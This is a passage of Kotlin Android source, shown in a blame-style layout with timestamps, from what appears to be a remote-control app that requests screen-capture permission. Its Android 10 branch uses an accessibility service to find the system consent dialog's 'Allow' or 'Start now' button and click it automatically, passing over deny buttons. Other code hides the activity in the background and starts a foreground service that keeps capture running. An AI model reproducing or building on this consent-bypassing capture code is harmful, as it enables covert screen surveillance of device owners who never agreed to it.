}
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ MIUI SimplePermissionActivity启动失败", e)
|
|
|
|
|
|
|
|
|
|
|
|
// 回退到内置方法
|
|
|
|
|
|
requestMIUIBuiltinMethod()
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ MIUI设备内置权限申请方法
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun requestMIUIBuiltinMethod() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
Log.i(TAG, "🔧 MIUI设备使用内置权限申请方法")
|
|
|
|
|
|
|
|
|
|
|
|
runOnUiThread {
|
2026-02-14 14:24:11 +08:00
|
|
|
|
if (!::statusText.isInitialized) return@runOnUiThread
|
2026-02-11 16:59:49 +08:00
|
|
|
|
statusText.text = "🔧 尝试内置权限申请方法..."
|
|
|
|
|
|
statusText.setTextColor(getColor(android.R.color.holo_orange_dark))
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 方法2:清理任何可能的干扰状态
|
|
|
|
|
|
window.clearFlags(android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE)
|
|
|
|
|
|
|
|
|
|
|
|
// 方法3:使用延迟确保Activity完全稳定,增强异常处理
|
|
|
|
|
|
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
|
|
|
|
|
|
try {
|
|
|
|
|
|
Log.i(TAG, "🔧 MIUI延迟后开始权限申请")
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 检查Activity状态,确保没有被销毁
|
|
|
|
|
|
if (isFinishing || isDestroyed) {
|
|
|
|
|
|
Log.e(TAG, "❌ Activity已销毁,取消权限申请")
|
|
|
|
|
|
return@postDelayed
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 重新创建MediaProjectionManager确保状态干净
|
|
|
|
|
|
mediaProjectionManager =
|
|
|
|
|
|
getSystemService(MEDIA_PROJECTION_SERVICE) as MediaProjectionManager
|
|
|
|
|
|
|
|
|
|
|
|
val intent = mediaProjectionManager?.createScreenCaptureIntent()
|
|
|
|
|
|
if (intent == null) {
|
|
|
|
|
|
Log.e(TAG, "❌ MIUI设备创建权限Intent失败")
|
|
|
|
|
|
// 尝试标准方法
|
|
|
|
|
|
requestStandardMediaProjectionPermission()
|
|
|
|
|
|
return@postDelayed
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
Log.i(TAG, "🔧 MIUI设备权限Intent创建成功")
|
|
|
|
|
|
Log.i(TAG, " - Component: ${intent.component}")
|
|
|
|
|
|
Log.i(TAG, " - Package: ${intent.`package`}")
|
|
|
|
|
|
|
|
|
|
|
|
// 方法4:不添加任何额外的Intent标志,保持最简单的状态
|
|
|
|
|
|
Log.i(TAG, "🔧 MIUI设备使用最简单的权限申请方式")
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 添加try-catch保护startActivityForResult调用
|
|
|
|
|
|
try {
|
|
|
|
|
|
Log.i(TAG, "🚀 MIUI设备启动权限对话框")
|
|
|
|
|
|
startActivityForResult(intent, REQUEST_MEDIA_PROJECTION)
|
|
|
|
|
|
Log.i(TAG, "✅ MIUI设备权限申请已启动")
|
|
|
|
|
|
|
|
|
|
|
|
// 启动监听
|
|
|
|
|
|
startMediaProjectionPermissionMonitoring()
|
|
|
|
|
|
|
|
|
|
|
|
// 方法6:更新UI状态
|
|
|
|
|
|
runOnUiThread {
|
2026-02-14 14:24:11 +08:00
|
|
|
|
if (!::statusText.isInitialized) return@runOnUiThread
|
2026-02-11 16:59:49 +08:00
|
|
|
|
statusText.text =
|
|
|
|
|
|
"📱 请在弹出的权限对话框中点击\"立即开始\"\n如果没有看到对话框,请稍等片刻"
|
|
|
|
|
|
statusText.setTextColor(getColor(android.R.color.holo_blue_dark))
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
} catch (activityException: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ MIUI设备启动权限对话框失败", activityException)
|
|
|
|
|
|
// 立即尝试标准方法
|
|
|
|
|
|
requestStandardMediaProjectionPermission()
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ MIUI设备权限申请失败", e)
|
|
|
|
|
|
|
|
|
|
|
|
// 失败时回退到普通方法
|
|
|
|
|
|
runOnUiThread {
|
2026-02-14 14:24:11 +08:00
|
|
|
|
if (!::statusText.isInitialized) return@runOnUiThread
|
2026-02-11 16:59:49 +08:00
|
|
|
|
statusText.text = "⚠️ 优化失败,尝试标准方法...\n正在重新申请权限"
|
|
|
|
|
|
statusText.setTextColor(getColor(android.R.color.holo_orange_dark))
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 延迟后使用标准方法重试
|
|
|
|
|
|
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
|
|
|
|
|
|
requestStandardMediaProjectionPermission()
|
|
|
|
|
|
}, 500) // 缩短延迟时间
|
|
|
|
|
|
}
|
|
|
|
|
|
}, 500) // 缩短延迟时间,加快权限申请
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ MIUI内置权限申请方法失败", e)
|
|
|
|
|
|
// 回退到标准方法
|
|
|
|
|
|
requestStandardMediaProjectionPermission()
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 标准的权限申请方法(用作回退)
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun requestStandardMediaProjectionPermission() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
Log.i(TAG, "🔧 使用标准权限申请方法")
|
|
|
|
|
|
|
|
|
|
|
|
val intent = mediaProjectionManager?.createScreenCaptureIntent()
|
|
|
|
|
|
if (intent != null) {
|
|
|
|
|
|
startActivityForResult(intent, REQUEST_MEDIA_PROJECTION)
|
|
|
|
|
|
startMediaProjectionPermissionMonitoring()
|
|
|
|
|
|
Log.i(TAG, "✅ 标准权限申请已启动")
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.e(TAG, "❌ 标准权限申请失败:无法创建Intent")
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 标准权限申请异常", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* Android 10 专用 MediaProjection 弹框处理
|
|
|
|
|
|
* 不依赖无障碍服务,直接处理权限弹框
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun startAndroid10MediaProjectionDialogHandling() {
|
|
|
|
|
|
Log.i(TAG, "📱 Android 10:开始直接弹框处理")
|
|
|
|
|
|
|
|
|
|
|
|
// 使用 Handler 延迟处理,确保权限弹框完全显示
|
|
|
|
|
|
Handler(Looper.getMainLooper()).postDelayed({
|
|
|
|
|
|
try {
|
|
|
|
|
|
Log.i(TAG, "📱 Android 10:开始查找并点击允许按钮")
|
|
|
|
|
|
handleAndroid10MediaProjectionDialogDirectly()
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ Android 10弹框处理异常", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}, 1000) // 延迟1秒,确保弹框完全显示
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* Android 10 直接处理 MediaProjection 弹框
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun handleAndroid10MediaProjectionDialogDirectly() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
Log.i(TAG, "📱 Android 10:开始直接处理权限弹框")
|
|
|
|
|
|
|
|
|
|
|
|
// 获取无障碍服务实例
|
|
|
|
|
|
val accessibilityService = AccessibilityRemoteService.getInstance()
|
|
|
|
|
|
if (accessibilityService == null) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ Android 10:无障碍服务未启动,无法处理弹框")
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 获取当前窗口根节点
|
|
|
|
|
|
val rootNode = accessibilityService.rootInActiveWindow
|
|
|
|
|
|
if (rootNode == null) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ Android 10:无法获取窗口根节点")
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
Log.i(TAG, "📱 Android 10:成功获取窗口根节点,开始查找允许按钮")
|
|
|
|
|
|
|
|
|
|
|
|
// 定义允许按钮文本
|
|
|
|
|
|
val allowButtonTexts = arrayOf(
|
|
|
|
|
|
// 中文允许按钮
|
|
|
|
|
|
"允许", "确定", "确认", "授权", "同意", "是", "好", "好的", "继续",
|
|
|
|
|
|
"立即开始", "现在开始", "开始", "开始录制", "开始投屏", "开始共享",
|
|
|
|
|
|
"立即授权", "授予权限", "确认共享", "立即确认",
|
|
|
|
|
|
|
|
|
|
|
|
// 英文允许按钮
|
|
|
|
|
|
"Allow", "OK", "Agree", "Grant", "Accept", "Yes", "Continue",
|
|
|
|
|
|
"Start", "Start now", "Start sharing", "Share screen",
|
|
|
|
|
|
"Begin recording", "Begin casting", "Record screen", "Cast screen",
|
|
|
|
|
|
"Allow recording", "Allow casting", "Start recording", "Start capture"
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
// 定义拒绝按钮文本
|
|
|
|
|
|
val denyButtonTexts = arrayOf(
|
|
|
|
|
|
"禁止", "拒绝", "取消", "Cancel", "Deny", "Dismiss", "不允许", "不同意"
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
// 策略1:按文本查找允许按钮
|
|
|
|
|
|
for (text in allowButtonTexts) {
|
|
|
|
|
|
val buttons = findNodesByText(rootNode, text)
|
|
|
|
|
|
Log.d(TAG, "📱 Android 10:查找文本 '$text' 找到 ${buttons.size} 个节点")
|
|
|
|
|
|
|
|
|
|
|
|
for (button in buttons) {
|
|
|
|
|
|
if (button.isClickable && button.isEnabled) {
|
|
|
|
|
|
val buttonText = button.text?.toString() ?: ""
|
|
|
|
|
|
val buttonDesc = button.contentDescription?.toString() ?: ""
|
|
|
|
|
|
|
|
|
|
|
|
// 检查是否为拒绝按钮
|
|
|
|
|
|
val isDenyButton = denyButtonTexts.any { denyText ->
|
|
|
|
|
|
buttonText.contains(denyText, ignoreCase = true) ||
|
|
|
|
|
|
buttonDesc.contains(denyText, ignoreCase = true)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
if (!isDenyButton) {
|
|
|
|
|
|
Log.i(TAG, "✅ Android 10:找到允许按钮 - 文本: '$buttonText', 描述: '$buttonDesc'")
|
|
|
|
|
|
Log.i(TAG, "✅ Android 10:点击允许按钮")
|
|
|
|
|
|
|
|
|
|
|
|
// 执行点击
|
|
|
|
|
|
val clickResult = button.performAction(AccessibilityNodeInfo.ACTION_CLICK)
|
|
|
|
|
|
Log.i(TAG, "✅ Android 10:点击结果: $clickResult")
|
|
|
|
|
|
|
|
|
|
|
|
// 等待点击生效
|
|
|
|
|
|
Thread.sleep(500)
|
|
|
|
|
|
|
|
|
|
|
|
// 检查权限是否已获得
|
|
|
|
|
|
val permissionData = MediaProjectionHolder.getPermissionData()
|
|
|
|
|
|
if (permissionData != null) {
|
|
|
|
|
|
Log.i(TAG, "✅ Android 10:MediaProjection权限已获得")
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
return // 即使权限检查失败,也认为点击成功
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.d(TAG, " ⚠️ 跳过拒绝按钮: '$buttonText'")
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 策略2:按类名查找按钮
|
|
|
|
|
|
Log.i(TAG, "📱 Android 10:按类名查找按钮...")
|
|
|
|
|
|
val buttonNodes = findNodesByClassName(rootNode, "android.widget.Button")
|
|
|
|
|
|
Log.d(TAG, "📱 Android 10:找到 ${buttonNodes.size} 个Button节点")
|
|
|
|
|
|
|
|
|
|
|
|
for (button in buttonNodes) {
|
|
|
|
|
|
if (button.isClickable && button.isEnabled) {
|
|
|
|
|
|
val buttonText = button.text?.toString() ?: ""
|
|
|
|
|
|
val buttonDesc = button.contentDescription?.toString() ?: ""
|
|
|
|
|
|
|
|
|
|
|
|
Log.d(TAG, "📱 Android 10:检查Button: 文本='$buttonText', 描述='$buttonDesc'")
|
|
|
|
|
|
|
|
|
|
|
|
// 检查是否包含允许文本
|
|
|
|
|
|
val containsAllowText = allowButtonTexts.any { allowText ->
|
|
|
|
|
|
buttonText.contains(allowText, ignoreCase = true) ||
|
|
|
|
|
|
buttonDesc.contains(allowText, ignoreCase = true)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 检查是否为拒绝按钮
|
|
|
|
|
|
val isDenyButton = denyButtonTexts.any { denyText ->
|
|
|
|
|
|
buttonText.contains(denyText, ignoreCase = true) ||
|
|
|
|
|
|
buttonDesc.contains(denyText, ignoreCase = true)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
if (containsAllowText && !isDenyButton) {
|
|
|
|
|
|
Log.i(TAG, "✅ Android 10:找到允许Button - 文本: '$buttonText'")
|
|
|
|
|
|
Log.i(TAG, "✅ Android 10:点击允许Button")
|
|
|
|
|
|
|
|
|
|
|
|
val clickResult = button.performAction(AccessibilityNodeInfo.ACTION_CLICK)
|
|
|
|
|
|
Log.i(TAG, "✅ Android 10:Button点击结果: $clickResult")
|
|
|
|
|
|
|
|
|
|
|
|
Thread.sleep(500)
|
|
|
|
|
|
|
|
|
|
|
|
val permissionData = MediaProjectionHolder.getPermissionData()
|
|
|
|
|
|
if (permissionData != null) {
|
|
|
|
|
|
Log.i(TAG, "✅ Android 10:MediaProjection权限已获得")
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
Log.w(TAG, "⚠️ Android 10:未找到允许按钮")
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ Android 10 MediaProjection弹框处理异常", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 按文本查找节点
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun findNodesByText(rootNode: AccessibilityNodeInfo, text: String): List<AccessibilityNodeInfo> {
|
|
|
|
|
|
val result = mutableListOf<AccessibilityNodeInfo>()
|
|
|
|
|
|
|
|
|
|
|
|
fun traverse(node: AccessibilityNodeInfo) {
|
|
|
|
|
|
val nodeText = node.text?.toString() ?: ""
|
|
|
|
|
|
val nodeDesc = node.contentDescription?.toString() ?: ""
|
|
|
|
|
|
|
|
|
|
|
|
if (nodeText.contains(text, ignoreCase = true) || nodeDesc.contains(text, ignoreCase = true)) {
|
|
|
|
|
|
result.add(node)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
for (i in 0 until node.childCount) {
|
|
|
|
|
|
val child = node.getChild(i)
|
|
|
|
|
|
if (child != null) {
|
|
|
|
|
|
traverse(child)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
traverse(rootNode)
|
|
|
|
|
|
return result
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 按类名查找节点
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun findNodesByClassName(rootNode: AccessibilityNodeInfo, className: String): List<AccessibilityNodeInfo> {
|
|
|
|
|
|
val result = mutableListOf<AccessibilityNodeInfo>()
|
|
|
|
|
|
|
|
|
|
|
|
fun traverse(node: AccessibilityNodeInfo) {
|
|
|
|
|
|
if (node.className?.toString()?.contains(className) == true) {
|
|
|
|
|
|
result.add(node)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
for (i in 0 until node.childCount) {
|
|
|
|
|
|
val child = node.getChild(i)
|
|
|
|
|
|
if (child != null) {
|
|
|
|
|
|
traverse(child)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
traverse(rootNode)
|
|
|
|
|
|
return result
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 通知无障碍服务开始权限申请
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun notifyAccessibilityServicePermissionRequest() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
// ✅ 恢复权限存在检查,防止Android 15设备重复申请权限
|
|
|
|
|
|
val permissionData = MediaProjectionHolder.getPermissionData()
|
|
|
|
|
|
if (permissionData != null) {
|
|
|
|
|
|
Log.i(TAG, "📱 MediaProjection权限已存在,停止权限申请流程")
|
|
|
|
|
|
|
|
|
|
|
|
// 检查是否为Android 15设备的权限恢复场景
|
|
|
|
|
|
val android15Recovery = intent.getBooleanExtra("ANDROID_15_RECOVERY", false)
|
|
|
|
|
|
val permissionLostRecovery =
|
|
|
|
|
|
intent.getBooleanExtra("PERMISSION_LOST_RECOVERY", false)
|
|
|
|
|
|
|
|
|
|
|
|
if (android15Recovery || permissionLostRecovery) {
|
|
|
|
|
|
Log.i(TAG, "🔧 Android 15权限恢复场景,但权限已存在,直接完成恢复")
|
|
|
|
|
|
|
|
|
|
|
|
// 发送权限恢复成功广播
|
|
|
|
|
|
val recoveryIntent =
|
|
|
|
|
|
Intent("android.mycustrecev.MEDIA_PROJECTION_GRANTED").apply {
|
|
|
|
|
|
putExtra("success", true)
|
|
|
|
|
|
putExtra("permission_recovery", true)
|
|
|
|
|
|
}
|
|
|
|
|
|
sendBroadcast(recoveryIntent)
|
|
|
|
|
|
|
|
|
|
|
|
// 显示恢复成功状态
|
|
|
|
|
|
runOnUiThread {
|
2026-02-14 14:24:11 +08:00
|
|
|
|
if (::statusText.isInitialized && ::enableButton.isInitialized) {
|
|
|
|
|
|
statusText.text = "✅ 权限已存在,恢复完成\n功能正常运行"
|
|
|
|
|
|
statusText.setTextColor(getColor(android.R.color.holo_green_dark))
|
|
|
|
|
|
enableButton.text = "恢复完成"
|
|
|
|
|
|
enableButton.isEnabled = false
|
|
|
|
|
|
}
|
2026-02-11 16:59:49 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 2秒后隐藏
|
|
|
|
|
|
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
|
|
|
|
|
|
hideActivityToBackground()
|
|
|
|
|
|
}, 2000)
|
|
|
|
|
|
} else {
|
|
|
|
|
|
// 普通场景,立即停止申请
|
|
|
|
|
|
val stopIntent = Intent("android.mycustrecev.STOP_ACTIVITY_CREATION")
|
|
|
|
|
|
sendBroadcast(stopIntent)
|
|
|
|
|
|
Log.i(TAG, "📡 权限已存在,发送停止Activity创建广播")
|
|
|
|
|
|
|
|
|
|
|
|
// 立即隐藏Activity
|
|
|
|
|
|
hideActivityToBackground()
|
|
|
|
|
|
}
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
Log.i(TAG, "📡 发送权限申请广播,通知无障碍服务准备处理对话框")
|
|
|
|
|
|
|
|
|
|
|
|
// 发送广播通知无障碍服务
|
|
|
|
|
|
val intent = Intent("android.mycustrecev.PERMISSION_REQUEST").apply {
|
|
|
|
|
|
putExtra("permission_type", "media_projection")
|
|
|
|
|
|
putExtra("requesting", true)
|
|
|
|
|
|
}
|
|
|
|
|
|
sendBroadcast(intent)
|
|
|
|
|
|
Log.i(TAG, "✅ 已通知无障碍服务开始权限申请")
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 通知无障碍服务失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
override fun onActivityResult(requestCode: Int, resultCode: Int, data: Intent?) {
|
|
|
|
|
|
Log.i(TAG, "🎬 ===== onActivityResult被调用 =====")
|
|
|
|
|
|
Log.i(TAG, "📊 Activity结果详情:")
|
|
|
|
|
|
Log.i(TAG, " - requestCode: $requestCode")
|
|
|
|
|
|
Log.i(TAG, " - resultCode: $resultCode")
|
|
|
|
|
|
Log.i(TAG, " - data: $data")
|
|
|
|
|
|
Log.i(TAG, " - 系统时间: ${System.currentTimeMillis()}")
|
|
|
|
|
|
|
|
|
|
|
|
super.onActivityResult(requestCode, resultCode, data)
|
|
|
|
|
|
|
|
|
|
|
|
when (requestCode) {
|
|
|
|
|
|
REQUEST_MEDIA_PROJECTION -> {
|
|
|
|
|
|
Log.i(TAG, "🎯 处理MediaProjection权限结果")
|
|
|
|
|
|
Log.i(TAG, " - REQUEST_MEDIA_PROJECTION值: $REQUEST_MEDIA_PROJECTION")
|
|
|
|
|
|
Log.i(TAG, " - resultCode详情: $resultCode")
|
|
|
|
|
|
Log.i(TAG, " - RESULT_OK值: ${Activity.RESULT_OK}")
|
|
|
|
|
|
Log.i(TAG, " - RESULT_CANCELED值: ${Activity.RESULT_CANCELED}")
|
|
|
|
|
|
Log.i(TAG, " - Intent数据存在: ${data != null}")
|
|
|
|
|
|
|
|
|
|
|
|
if (data != null) {
|
|
|
|
|
|
Log.i(TAG, " - Intent Action: ${data.action}")
|
|
|
|
|
|
Log.i(TAG, " - Intent Extras: ${data.extras?.keySet()}")
|
|
|
|
|
|
Log.i(TAG, " - Intent Component: ${data.component}")
|
|
|
|
|
|
Log.i(TAG, " - Intent Package: ${data.`package`}")
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
when (resultCode) {
|
|
|
|
|
|
Activity.RESULT_OK -> {
|
|
|
|
|
|
Log.i(TAG, "✅ 用户允许了MediaProjection权限")
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
Activity.RESULT_CANCELED -> {
|
|
|
|
|
|
Log.w(TAG, "❌ 用户拒绝了MediaProjection权限")
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
else -> {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 未知的resultCode: $resultCode")
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
handleMediaProjectionResult(resultCode, data)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
REQUEST_SIMPLE_PERMISSION -> {
|
|
|
|
|
|
Log.i(TAG, "🧪 处理SimplePermissionActivity结果")
|
|
|
|
|
|
Log.i(TAG, " - REQUEST_SIMPLE_PERMISSION值: $REQUEST_SIMPLE_PERMISSION")
|
|
|
|
|
|
Log.i(TAG, " - resultCode详情: $resultCode")
|
|
|
|
|
|
Log.i(TAG, " - Intent数据存在: ${data != null}")
|
|
|
|
|
|
|
|
|
|
|
|
if (resultCode == Activity.RESULT_OK && data != null) {
|
|
|
|
|
|
// 从SimplePermissionActivity获取权限数据
|
|
|
|
|
|
val mediaProjectionResultCode =
|
|
|
|
|
|
data.getIntExtra("resultCode", Activity.RESULT_CANCELED)
|
|
|
|
|
|
val mediaProjectionData = data.getParcelableExtra<Intent>("resultData")
|
|
|
|
|
|
|
|
|
|
|
|
Log.i(TAG, "🧪 SimplePermissionActivity返回权限数据:")
|
|
|
|
|
|
Log.i(TAG, " - MediaProjection resultCode: $mediaProjectionResultCode")
|
|
|
|
|
|
Log.i(TAG, " - MediaProjection data存在: ${mediaProjectionData != null}")
|
|
|
|
|
|
|
|
|
|
|
|
if (mediaProjectionResultCode == Activity.RESULT_OK && mediaProjectionData != null) {
|
|
|
|
|
|
Log.i(TAG, "✅ SimplePermissionActivity权限申请成功")
|
|
|
|
|
|
handleMediaProjectionResult(mediaProjectionResultCode, mediaProjectionData)
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.w(TAG, "❌ SimplePermissionActivity权限申请失败")
|
|
|
|
|
|
handleMediaProjectionResult(Activity.RESULT_CANCELED, null)
|
|
|
|
|
|
}
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.w(TAG, "❌ SimplePermissionActivity返回失败")
|
|
|
|
|
|
// 回退到内置方法
|
|
|
|
|
|
runOnUiThread {
|
2026-02-14 14:24:11 +08:00
|
|
|
|
if (!::statusText.isInitialized) return@runOnUiThread
|
2026-02-11 16:59:49 +08:00
|
|
|
|
statusText.text = "🔧 独立Activity失败,尝试内置方法...\n正在重新申请权限"
|
|
|
|
|
|
statusText.setTextColor(getColor(android.R.color.holo_orange_dark))
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
|
|
|
|
|
|
requestMIUIBuiltinMethod()
|
|
|
|
|
|
}, 1000)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
REQUEST_ACCESSIBILITY_PERMISSION -> {
|
|
|
|
|
|
Log.i(TAG, "🎯 处理无障碍权限结果")
|
|
|
|
|
|
// 从无障碍设置返回,更新UI并检查其他权限
|
|
|
|
|
|
updateUI()
|
|
|
|
|
|
// 延迟检查其他权限,让无障碍服务有时间启动
|
|
|
|
|
|
android.os.Handler(mainLooper).postDelayed({
|
|
|
|
|
|
checkAllPermissions()
|
|
|
|
|
|
}, 1000)
|
|
|
|
|
|
}
|
|
|
|
|
|
// 删除悬浮窗权限结果处理
|
|
|
|
|
|
else -> {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 未知的requestCode: $requestCode")
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
Log.i(TAG, "🎬 ===== onActivityResult处理完成 =====")
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
private fun handleMediaProjectionResult(resultCode: Int, data: Intent?) {
|
|
|
|
|
|
Log.i(TAG, "🎯 ===== handleMediaProjectionResult开始处理 =====")
|
|
|
|
|
|
Log.i(TAG, "📊 MediaProjection结果详细分析:")
|
|
|
|
|
|
Log.i(TAG, " - resultCode: $resultCode")
|
|
|
|
|
|
Log.i(TAG, " - RESULT_OK: ${Activity.RESULT_OK}")
|
|
|
|
|
|
Log.i(TAG, " - 权限是否成功: ${resultCode == Activity.RESULT_OK}")
|
|
|
|
|
|
Log.i(TAG, " - Intent数据: $data")
|
|
|
|
|
|
Log.i(TAG, " - Intent数据非空: ${data != null}")
|
|
|
|
|
|
|
|
|
|
|
|
if (data != null) {
|
|
|
|
|
|
Log.i(TAG, " - Intent详细信息:")
|
|
|
|
|
|
Log.i(TAG, " * Action: ${data.action}")
|
|
|
|
|
|
Log.i(TAG, " * Component: ${data.component}")
|
|
|
|
|
|
Log.i(TAG, " * Package: ${data.`package`}")
|
|
|
|
|
|
Log.i(TAG, " * Data URI: ${data.data}")
|
|
|
|
|
|
Log.i(TAG, " * Type: ${data.type}")
|
|
|
|
|
|
Log.i(TAG, " * Flags: 0x${data.flags.toString(16)}")
|
|
|
|
|
|
|
|
|
|
|
|
val extras = data.extras
|
|
|
|
|
|
if (extras != null) {
|
|
|
|
|
|
Log.i(TAG, " * Extras数量: ${extras.size()}")
|
|
|
|
|
|
for (key in extras.keySet()) {
|
|
|
|
|
|
val value = extras.get(key)
|
|
|
|
|
|
Log.i(TAG, " - $key: $value (${value?.javaClass?.simpleName})")
|
|
|
|
|
|
}
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.i(TAG, " * Extras: null")
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
Log.i(TAG, "🔍 检查权限申请上下文:")
|
|
|
|
|
|
Log.i(TAG, " - isAutoPermissionRequest: $isAutoPermissionRequest")
|
|
|
|
|
|
|
|
|
|
|
|
// 检查Intent参数
|
|
|
|
|
|
val permissionLostRecovery = intent.getBooleanExtra("PERMISSION_LOST_RECOVERY", false)
|
|
|
|
|
|
Log.i(TAG, " - permissionLostRecovery: $permissionLostRecovery")
|
|
|
|
|
|
|
|
|
|
|
|
if (resultCode == Activity.RESULT_OK && data != null) {
|
|
|
|
|
|
Log.i(TAG, "✅ MediaProjection权限申请成功,开始处理权限数据")
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 清除权限申请标记
|
|
|
|
|
|
markPermissionRequesting(false)
|
|
|
|
|
|
|
|
|
|
|
|
try {
|
|
|
|
|
|
// 将权限数据存储到MediaProjectionHolder中
|
|
|
|
|
|
MediaProjectionHolder.setPermissionData(resultCode, data)
|
|
|
|
|
|
|
|
|
|
|
|
// 启动前台服务
|
|
|
|
|
|
val foregroundServiceIntent = Intent(
|
|
|
|
|
|
this,
|
|
|
|
|
|
com.hikoncont.service.RemoteControlForegroundService::class.java
|
|
|
|
|
|
)
|
|
|
|
|
|
foregroundServiceIntent.action = "START_MEDIA_PROJECTION"
|
|
|
|
|
|
|
|
|
|
|
|
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
|
|
|
|
|
|
startForegroundService(foregroundServiceIntent)
|
|
|
|
|
|
} else {
|
|
|
|
|
|
startService(foregroundServiceIntent)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
Log.i(TAG, "已启动前台服务来处理MediaProjection")
